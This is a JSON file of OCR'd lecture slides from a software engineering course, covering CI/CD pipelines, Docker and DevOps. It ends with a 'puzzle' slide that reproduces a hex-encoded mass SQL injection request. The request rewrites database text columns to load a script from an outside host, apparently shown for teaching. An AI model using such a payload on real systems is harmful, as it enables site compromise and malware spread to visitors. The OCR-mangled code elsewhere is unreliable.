| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:33+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-418-0000": { |
| "id": "CO3001-chapter-11-slide-418-0000", |
| "text": "What is continous integration? Continuous integration (Cl) is a software development practice where developers in a team integrate their work frequently Developers usually integrates several times a day. Each integration is verified by anautomated build: compile the code and also run automated tests? Question: Why are automated tests run? 28.08.2023 Continuous Integration and Delivery 16", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_016.png", |
| "page_index": 418, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:37+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-419-0000": { |
| "id": "CO3001-chapter-11-slide-419-0000", |
| "text": "Why is continous integration? Early/rapid feedback! Insures clean environments Do all components/projects Manual tasks automated compile? Speedup of working software Coding standards? turnover Are tests successful? No large integration steps Performance requirements? Much less likely to break something Problems archiving or deploying? A full working/deployable version at Better project visibility Possible to notice trends ANY POINT IN TIME What features are needed/being Complete documentation of who did added what 28.08.2023 Continuous Integration and Delivery 17", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_017.png", |
| "page_index": 419, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:42+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-420-0000": { |
| "id": "CO3001-chapter-11-slide-420-0000", |
| "text": "How is continous integration? Use various existing tools to: In order for Cl to work, individual Combine changes often developers should: Commit frequently Build often Many small commits Test often Run local build first (if possible) Deploy often Huge code repos may make this difficult Only commit working code Fix broken builds immediately Write automated tests 28.08.2023 Continuous Integration and Delivery 18", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_018.png", |
| "page_index": 420, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:46+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-421-0000": { |
| "id": "CO3001-chapter-11-slide-421-0000", |
| "text": "CONTINUOUS INTEGRATION MODEL Build Pipeline AUTO AUTO 100 Developers Version Compile Package Auto Auto Package Control Unit UI with (Master) Testing Testing Instructions Continuous Integration Version control software Dependency management Automated testing software Continuous integration framework Infrastructure management Build automation BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_019.png", |
| "page_index": 421, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:52+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-422-0000": { |
| "id": "CO3001-chapter-11-slide-422-0000", |
| "text": "CONTINUOUS INTEGRATION TOOLS V Code repositories Github, Bitbucket, Mercurial, BitKeeper, Bzr, CVS Darcs, Gerrit, Monotone, P4, SVN ... Test frameworks - CppUnit, Valgrind, JUnit, Unittest, TestNg ... V Continuous Integration Bamboo, Buildbot, CruiseControl, Jenkins, Gitlab Cl Wikipedia has a great comparison table: BK CONTINUOUS INTEGRATIONAND DELIVERY 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_020.png", |
| "page_index": 422, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:10:55+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-423-0000": { |
| "id": "CO3001-chapter-11-slide-423-0000", |
| "text": "HEROKU SETTING UP A CI PIPELINE A simple example of a Flask web appliation app.py-simple-flask-app ! config.yml Dockerfile app.py X test.py requirements.txt D v 2 app.py > ... 1 2 import-os 3 from-flask·import·Flask,current_app 4 app-=Flaskname 5 6 @app.route/) 7 def-hello_world(): 8 9 ·returncurrent_app.send_static_file('index.html') 10 11 if-name..==.'main_': 12 ··port·=·intos.getenvPORT 13 ·app.rundebug=True,host=0.0.0.0,port=port 14 BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_021.png", |
| "page_index": 423, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:02+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-424-0000": { |
| "id": "CO3001-chapter-11-slide-424-0000", |
| "text": "config.yml-simple-flask-app ! config.yml x Dockerfile 2 app.py test.py reguirements.txt .circleci > ! config.yml circleci 5 aocker:circleci/aocker@2.o.1 6 7 jobs: 8 -lint: Our YAML fie 9 -executor:python/default 10 -steps: defines four 11 -·checkout different 12 -restore_cache: processes to run: 13 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 14 lint, test, build run: 15 name:·Install-Python-deps-in-a-venv and deploy 16 command 17 python3.-m-venv-venv 18 venv/bin/activate 19 pip-install--r·reguirements.txt 20 run: 21 name:.\"Runpylint' 22 command 23 venv/bin/activate 24 pylintapp.py 25 save_cache: 26 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 27 paths: 28 -.\"venv\" 29 ·test: 30 executor:python/default BK 31 .·steps: INTINUOUS INTEGRATION AND DELIVERY 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_022.png", |
| "page_index": 424, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:12+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-425-0000": { |
| "id": "CO3001-chapter-11-slide-425-0000", |
| "text": "config.yml-simple-flask-app Pylint ! config.yml x W Dockerfile 2 app.py test.py reguirements.txt XXXX Star your Python code! .circleci > ! config.yml 5 aocker:circleci/aocker@2.o.1 6 7 jobs: 8 -lint: The lint stage 9 ·executor:python/default 10 checks for -steps: 11 -·checkout possible errors 12 -·restore_cache: and formatting 13 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 14 issues without run: 15 name:·Install-Python-deps-in-a-venv running the code. 16 command The linting 17 python3.-m-venv-venv 18 venv/bin/activate program used in 19 pip-install--r·reguirements.txt this case is a 20 run: popular tool 21 name.\"Runpylint' called Pylint. 22 command· 23 venv/bin/activate 24 pylint·app.py 25 save_cache: 26 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 27 paths: 28 -.\"venv\" 29 .test: 30 executor:python/default BK 31 .·steps: NTINUOUSINTEGRATION AND DELIVERY 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_023.png", |
| "page_index": 425, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:21+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-426-0000": { |
| "id": "CO3001-chapter-11-slide-426-0000", |
| "text": "Pylint test.py-simple-flask-app XXXX Star your Python code config.yml Dockerfile ? app.py ? test.py X reguirements.txt 2 test.py > TestApp > test_404 1 import-unittest The next step in 2 from-app-import-app 3 our CI/CD 4 classTestApp(unittest.TestCase): pipeline tutorial is 5 testing. Our tests 6 def·setUpself in this project are 7 self.app=app.test_client run with the unit 8 test framework 9 def·test404self): 10 -rv-=self.app.get'/i-am-not-found') 11 self.assertEqual(rv.status_code,404 12 13 .·def·test_homepage(self): 14 rv=self.app.get/ 15 self.assertTrue\"Thisis-thetitle-of-thewebpage!\".inrv.get_data(as_text=True)) 16 17 if-name_-==.' main': 18 ...unittest.main 19 BK 28.08.2023 CONTINUOUS INTEGRATION AND DELIVERY 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_024.png", |
| "page_index": 426, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:31+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-427-0000": { |
| "id": "CO3001-chapter-11-slide-427-0000", |
| "text": "AUTOMATED TESTING Automated testing is the application of software tools to automate a human-driven manual process of reviewing and validating a software product Different levels. Unit test Integration test: mocking these 3rd party dependencies and asserting the code interfacing with them behaves as expected Performance test: i.e. speed and responsiveness BK 28.08.2023 CONTINUOUSINTEGRATIONAND DELIVERY 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_025.png", |
| "page_index": 427, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:35+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-428-0000": { |
| "id": "CO3001-chapter-11-slide-428-0000", |
| "text": "REGRESSION TESTING Re-running functional and non-functional tests to ensure that previously developed and tested software still performs after a change Three types Regression Testing D Retest Regression Prioritization All Test Selection of Test Cases BK 28.08.2023 NTEGRATION AND DELIVERY 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_026.png", |
| "page_index": 428, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:39+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-429-0000": { |
| "id": "CO3001-chapter-11-slide-429-0000", |
| "text": "config.yml-simple-flask-app Pylint ! config.yml X Dockerfile app.py test.py reguirements.txt .circleci > ! config.yml XXXX Star your Python code! 25 save_cache: 26 key:deps1-{{.Branch-}}-{{checksum.reguirements.txt\".}} 27 paths: 28 -.\"venv\" 29 The next step in test: 30 executor:·python/default our Cl/CD 31 steps: pipeline tutorial is 32 -checkout 33 -·restore_cache: testing. Our tests 34 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} in this project are 35 run: run with the unit 36 name:·Install·Python-deps-in·a-venv 37 command: test framework 38 python3--m-venv-venv 39 ·venv/bin/activate Running tests on 40 pip-install.-r·requirements.txt every commit is 41 run: 42 name:-\"Runtests\" crucial to a 43 command· project's success 44 pipinstall.-r·requirements.txt 45 python3-test.py 46 save_cache: 47 key:deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 48 paths: 49 -.\"venv\" 50 deploy: 51 machine:·true BK 28.08.2023 52 CONTINUOUSINTEGRATION ANDDELIVERY 27 TP.HCM 'steps:", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_027.png", |
| "page_index": 429, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:49+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-430-0000": { |
| "id": "CO3001-chapter-11-slide-430-0000", |
| "text": "BUILD STEP: 64 -.lint 65 -·test 66 -docker/publish: 67 deploy:false 68 image:$CIRCLE_PROJECT_USERNAME/$CIRCLE_PROJECT_REPONAME 69 -deploy: 70 reguires Lines 66-68 reference the Docker orb and define how the Docker job will run. Set the dep1oy attribute to fa1se to instruct the Docker/publish job to build the image without pushing it to a repository. By default, the Docker/publish job finds the Dockerfile by name and builds it. It will also fail the job if the Docker build fails. BK 28.08.2023 CONTINUOUSINTEGRATION AND DELIVERY 28 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_028.png", |
| "page_index": 430, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:11:54+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-431-0000": { |
| "id": "CO3001-chapter-11-slide-431-0000", |
| "text": "docker DOCKER an open platform for developing, Containerized Applications shipping, and running applications separate your applications from your infrastructure V ddv A ddv A ddv A ddv 3 ddv 4 ddv significantly reduce the delay between writing code and running it in production Docker container Host Operating System Infrastructure BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY 29 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_029.png", |
| "page_index": 431, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:00+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-432-0000": { |
| "id": "CO3001-chapter-11-slide-432-0000", |
| "text": "DEPLOY STEP: config.yml-simple-flask-app ! config.yml X Dockerfile 2app.py test.py Ereguirements.txt .circleci >! config.yml 45 python3test.py 46 save_cache: 47 key:-deps1-{{.Branch}}-{{checksum.\"requirements.txt\".}} 48 paths: 49 .-.\"venv\" 50 deploy: 51 machine:·true 52 steps: 53 -·checkout 54 ·run: 55 name:·Build·and-push-Docker-image·to-Heroku 56 command: 57 sudocurl·https://cli-assets.heroku.com/install.sh-.sh 58 HEROKU_API_KEY=${HEROKU_TOKEN}·heroku-containerlogin 59 HEROKU_API_KEY=${HEROKU_TOKEN}-heroku-container:push·-agrasbergerm-simple-flask-app-web 60 HEROKU_API_KEY=${HEROKU_TOKEN}-heroku-container:release·-agrasbergerm-simple-flask-app-web 61 workflows: 62 ..lint-test-build-deploy: 63 jobs: BK 64 ..-.lint TP.HCM https://www.techtarget.com/searchitoperations/tip/Cl-CD-tutorial-How-to-set-up-a-pipeline", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_030.png", |
| "page_index": 432, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:09+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-433-0000": { |
| "id": "CO3001-chapter-11-slide-433-0000", |
| "text": "CONTINUOUS DELIVERY Release Pipeline TO AUTO AUTO EX DOO Package Test Testing to Auto Operations Auto Public/ nit UI with Team Scripts Environment General ing Testing Availabilty Instructions Continuous Delivery BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY 31 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_031.png", |
| "page_index": 433, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:14+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-434-0000": { |
| "id": "CO3001-chapter-11-slide-434-0000", |
| "text": "CONTINUOUS DELIVERY Teams produce software in short cycles, ensuring that the software can be reliably released at any time and, when releasing the software, without doing so manually. since it automatically deploys all code changes to a testing and/or production environment after the build stage. BK 28.08.2023 CONTINUOUS INTEGRATIONAND DELIVERY 32 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_032.png", |
| "page_index": 434, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:17+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-435-0000": { |
| "id": "CO3001-chapter-11-slide-435-0000", |
| "text": "OTHER SOLUTIONS FOR CI/CD : O Refresh Project homepage Repositories Build pipelines Release pipelines Agile backlogs Users&groups Delete CI/CD pipeline Azure resources Code Application endpoint BringYourOwnApp master https//byocode.azurewebsites.net Browse App Service Build byocode byocode- Running Buid 20190625.1 Succeeded 34 min ago T Release-1 dev byocode- ApplicationInsights Release-1Succeeded 25min ago byocode Repository BringYourOwnApp CodeD 07AM 08AM 09AM 10AM 11AM 12PM SERVERREQUESTO FAILEDREQUEST BK 28.08.2023 US INTEGRATION AND DELIVERY 33 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_033.png", |
| "page_index": 435, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:23+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-436-0000": { |
| "id": "CO3001-chapter-11-slide-436-0000", |
| "text": "COMMON PITFALL OF CI/CD Wrong processes may be automated first V C Confusion between Continuous Deployment and Continuous Delivery Inadequate coordination between continuous integration and continuous delivery Meaningful dashboards and metrics may be absent Requires new skillset Maintenance is not easy BK 28.08.2023 CONTINUOUSINTEGRATIONAND DELIVERY 34 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_034.png", |
| "page_index": 436, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:27+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-437-0000": { |
| "id": "CO3001-chapter-11-slide-437-0000", |
| "text": "DEVOPS a set of practices that combines software development (Dev) and IT operations (Ops) DEV OPS BK 28.08.2023 CONTINUOUSINTEGRATION AND DELIVERY 35 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_035.png", |
| "page_index": 437, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:30+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-438-0000": { |
| "id": "CO3001-chapter-11-slide-438-0000", |
| "text": "DEVOPS a set of practices that combines software development (Dev) and IT operations (Ops) Development Operations Planning Infrastructure Mgt Development Security &Compliance Testing DatabaseAdmin BK Quality Assurance NetworkTechnician 28.08.2023 ONTINUOUSINTEGRATION AND DELIVERY 36 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_036.png", |
| "page_index": 438, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:35+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-439-0000": { |
| "id": "CO3001-chapter-11-slide-439-0000", |
| "text": "DEVOPS a set of practices that combines software development (Dev) and IT operations (Ops) Breaking the Silos: Dev and Ops aims to shorten the systems development life cycle and provide continuous delivery with high software quality deploy code plan bilna Dev Ops release monitor test BK 28.08.2023 CONTINUOUSINTEGRATIONAND DELIVERY 37 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_037.png", |
| "page_index": 439, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:40+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-440-0000": { |
| "id": "CO3001-chapter-11-slide-440-0000", |
| "text": "DEVS AND OPS WORKING TOGETHER Create feedback loops between inventors and mechanics Expose real-time metrics from ops enabling dev to learn from the system running under real world conditions Expose real-time metrics from dev enabling ops to anticipate production needs and provide early input Cross-functional teams collaborate to deliver whole working systems including all infrastructure, software code, and configurations BK 28.08.2023 CONTINUOUSINTEGRATIONAND DELIVERY 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_038.png", |
| "page_index": 440, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:44+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-441-0000": { |
| "id": "CO3001-chapter-11-slide-441-0000", |
| "text": "\"DevOps is \"DevOps is development treating your It's DevOps! and operations infrastructure collaboration as code' \"DevOps lt's DevOps! \"DevOps It's DevOps! is using is feature lt's DevOps! automation switches' \"DevOps \"Kanban 1 is small for Ops?\" deployments' 28.08.2023 ONTINUOUSINTEGRATION AND DELIVERY 39", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_039.png", |
| "page_index": 441, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:49+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-442-0000": { |
| "id": "CO3001-chapter-11-slide-442-0000", |
| "text": "DEVOPS: THE THREE STAGE CONVERSATION DEV OPS People 2 3 Process Products BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_040.png", |
| "page_index": 442, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:52+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-443-0000": { |
| "id": "CO3001-chapter-11-slide-443-0000", |
| "text": "LIST OE DEVOPS PRACTICES Infrastructure as Code (IaC) Availability Monitoring Continuous Integration Change/Configuration Management Automated Testing Feature Flags Automated Environment De-Provisioning Continuous Deployment Self Service Environments Release Management Automated Recovery (Rollback & Roll-Forward) App Performance Monitoring Hypothesis Driven Development Load Testing & Auto-Scale - Testing in Production Fault Injection Usage Monitoring/User Telemetry EBIK: :www.itproauy.com/devops-practices/ TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_041.png", |
| "page_index": 443, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:12:57+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-444-0000": { |
| "id": "CO3001-chapter-11-slide-444-0000", |
| "text": "tBRAINS *sack GitHub AppVeyor Octopus Deploy ft LeanKit Develop with pleasure! Atlassian Jenkins QHipChat azUQUO myget SOASTA KU-DOT MODERN Taskte>p Aha! Trello zendesk Requirements Qdynatrace By eDevTECH Visual Studio Partners and Extensions 65 5,910 90 48 Visual Studio Code Visual Studio Visual Studio VS Team Services Extensions Gallery Extensions Sim-Ship Partners Extensions bamboo zapier uservoice flowdock lncrediBuild CloudBees SO U tions BEYOND ACCELERATION macincloud VSAnywhere X Jamosolutions Xamarin perfecto & TFS TIMETRACKER mobile submain EKOBIT redgate X OpsHub PreEmptive Solutions Campfire S ingeniously simple SauceLABS Enabling Agile Integration CHEF BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_042.png", |
| "page_index": 444, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:05+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-445-0000": { |
| "id": "CO3001-chapter-11-slide-445-0000", |
| "text": "Microsoft A BETTER VIEW Step by step guide for DevOps, SRE or any other Operations Role in 2022 Salt Infrastructure Provisioning Puppet Learn some CI/CD Tool Container Orchestration Terraform Kubernetes Mesos Gitlab CI Jenkins AWS CDK Docker Swarm Nomad GitHub Actions Travis CI CloudFormation Prometheus Bamboo TeamCity Pulumi Nagios Azure DevOps Services Infrastructure Monitoring Grafana Circle CI Drone Zabbix Learn how to monitor software and infrastructure Elastic Stack Monit Graylog Application Monitoring Datadog Logs Management Splunk Jaeger New Relic Papertrail AppDynamics Instana Loki GUIDE TO BK OpenTelemetry CLOUD M TP.HCM DEVOP Cloud Providers", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_043.png", |
| "page_index": 445, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:13+07:00" |
| } |
| }, |
| "CO3001-chapter-11-slide-446-0000": { |
| "id": "CO3001-chapter-11-slide-446-0000", |
| "text": "Microsoft Q&A BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_11/slide_044.png", |
| "page_index": 446, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:15+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-447-0000": { |
| "id": "CO3001-chapter-12-slide-447-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 12 - ADVANCED TOPICS Anh Nguyen-Duc Tho Quan-Thanh BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_001.png", |
| "page_index": 447, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:19+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-448-0000": { |
| "id": "CO3001-chapter-12-slide-448-0000", |
| "text": "PUZZLE - WHAT IS THIS? \"GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%2OHuman%20Tissue?;DECLARE%20@S%20CHAR(4000);S ET%20S=CAST(0x4445434C415245204054207661726368617228323535292C 40432076617263686172283430303029204445434C415245205461626C655F43 7572736F7220435552534F5220464F522073656C65637420612E6E616D652C62 2E6E616D652066Z26F6D207379736F626A6563747320612CZ37973636F6C756D 6E73206220776865726520612E69643D622E696420616E6420612E78747970653 D27752720616E642028622E78747970653D3939206F7220622E78747970653D3 335206F7220622E78747970653D323331206F7220622E78747970653D3136372 9204F50454E205461626C655F437572736F72204645544348204E455854204652 4F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C 4528404046455443485F5354415455533D302920424547494E20657865632827 757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B 40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D2268 Z474703A2F2FZ3646F2E313030306D6Z2E636E2F63737273732FZZ2E6AZ3223E3 C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74 206C696B6520272725223E3C2F7469746C653E3C736372", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_002.png", |
| "page_index": 448, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:26+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-448-0001": { |
| "id": "CO3001-chapter-12-slide-448-0001", |
| "text": "212D2D2727207768!6!5726520272B40432B27206E6F74 206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22 687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223 E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4 D20205461626C655F437572736F7220494E544F2040542C404320454E4420434 C4E5345205461626C655F437572736E72204445414C4C4F43415445205461626 C655F437572736F72%20AS%20CHAR(4000));EXEC(@@S); BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_002.png", |
| "page_index": 448, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:26+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-449-0000": { |
| "id": "CO3001-chapter-12-slide-449-0000", |
